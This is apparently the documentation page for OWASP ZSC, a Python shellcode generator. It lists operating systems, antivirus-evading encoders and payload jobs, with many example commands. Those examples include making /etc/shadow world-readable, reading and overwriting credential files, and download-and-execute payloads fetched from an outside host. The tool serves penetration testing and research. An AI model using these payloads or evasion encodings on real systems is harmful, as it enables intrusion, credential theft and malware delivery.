What is OWASP ZSC ?
OWASP ZSC is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software could be run on Linux under python 2.7.x.

Usage of shellcodes
Shellcodesare small codes in assembly which could be use as the payload in software exploiting. Other usages are in malwares, bypassing antiviruses, obfuscated codes and etc.

Why use OWASP ZSC ?
According to other shellcode generators same as metasploit tools and etc, OWASP ZSC using new encodes and methods which antiviruses won't detect. OWASP ZSC encoderes are able to generate shellcodes with random encodes and that's lets you to get thousands new dynamic shellcodes with same job in just a second,that means you will not get a same code if you use random encodes with same commands, And that make OWASP ZSC one of the bests! otherwise it's gonna generate shellcodes for many operation systems in next versions.

Help Menu
Switches: -h, --h, -help, --help => to see this help guide -os => choose your os to create shellcode -oslist  => list os for switch -os -o => output filename -job => what shellcode gonna do for you ? -joblist => list of -job switch -encode => generate shellcode with encode -types => types of encode for -encode switch -wizard => wizard mod

-update => check for update -about => about software and developers.

With these switch you can see the oslist,encode types and functions [joblist] to generate your shellcode.

OS List " -oslist "

[+] linux_x86 [+] linux_x64 [+] linux_arm [+] linux_mips [+] freebsd_x86 [+] freebsd_x64 [+] windows_x86 [+] windows_x64 [+] osx [+] solaris_x86 [+] solaris_x64

Encode Types " -types "

[+] none [+] xor_random [+] xor_yourvalue [+] add_random [+] add_yourvalue [+] sub_random [+] sub_yourvalue [+] inc [+] inc_timesyouwant [+] dec [+] dec_timesyouwant [+] mix_all

Functions " -joblist "

[+] exec('/path/file') [+] chmod('/path/file','permission number') [+] write('/path/file','text to write') [+] file_create('/path/file','text to write') [+] dir_create('/path/folder') [+] download('url','filename') [+] download_execute('url','filename','command to execute') [+] system('command to execute') [+] script_executor('name of script','path and name of your script in your pc','execute command')

Now you are able to choose your operation system, function, and encode to generate your shellcode, But all of these features are not activated yet, so you have to look up this table HERE to see what features are activated.

http://zsc.z3r0d4y.com/images/Snapshot_2015-07-27_123106.png

For example, this part of table telling us all functions for linux_x86 is activated, But Encodes [xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] are just activated for chmod function.

Examples
>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt >zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt >zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt >zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt >zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')" -o file.txt >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')" -o file.txt >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py;[space]python[space]ali.py')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt >zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt >zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt >zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt
 * 1) multi command

Note : Don’t use space ‘ ’ in system function, replace it with “[space]”, software will detect and replace “ ” for you in shellcode.

Note : script_executor,download_execute,download,dir_create,file_create are using linux command line, not the function. [wget,mkdir,echo] system function added in script, you can use it to do anything and generate any command line shellcode.

Note : exec doesn’t support any ARGV same as exec(‘/bin/bash -c ls’) or exec(‘/bin/bash’,‘-c’,‘ls’), you have to wait for next version and this feature will available in system

Note : you also can use high value for inc and dec time, like inc_100000, your shellcode may get too big

Note : each time you execute chmod[or any other] function with random encode, you are gonna get random outputs and different shellcode.

Note : your xor value could be anything. “xor_0x41414141” and “xor_0x45872f4d” are examples.

Wizard Switch
With -wizard switch you are able to generate shellcode without long ARGVs, software will ask you for information.

http://zsc.z3r0d4y.com/images/Snapshot_2015-07-27_132639.png

Note : While you are using -wizard switch, if you push “ Enter ” without typing anything, the default value will be set on the varible.

Note : With entering “ list ”, List of values will be shown.

Note: OWASP ZSC Tool could be execute on Linux and Python 2.7.x is required.

= Road Map and Getting Involved = Share this:

Roadmap
As of August, 2015, the highest priorities for the next one year are:
 * Develop future features list, Add Operation Systems and new encode types
 * Planing for activate features
 * Build ZSC API
 * Find developers to get better performance, quality, optimizing and best improvement in minimum possible time
 * Get other people to review the ZSC Tool Project provide feedback
 * Incorporate feedback into changes in the Tool Project and the features
 * Keep test, developing and updating with best new methods
 * Build and update documents in several languages for developers/users guiding

Subsequent Releases will add
 * Internationalization Support
 * Additional Unit Tests
 * Automated Regression tests

=Minimum Viable Product= Share this: OWASP ZSC could be improving with handling module features. MVP of this project is build and active the first module which could be usable to generate/encode Shellcode which already some of them [modules] activated.

Highest usage of OWASP ZSC Tool could be when users are able to use all features with best User Interface and API performance.

= Developers = Share this:

Be an OWASP ZSC developer
To join us for developing ZCR Shellcoder, Make your OWASP Account at first and you may need to know Assembly, Shellcoding, Python. Then check up this Table and build a shellcode generator with python which we didn’t made it yet, then send it to us and after checking and testing your code, You will became a OWASP ZSC developer and your code will add to software in next versions.

Also please visit Developer Pages.
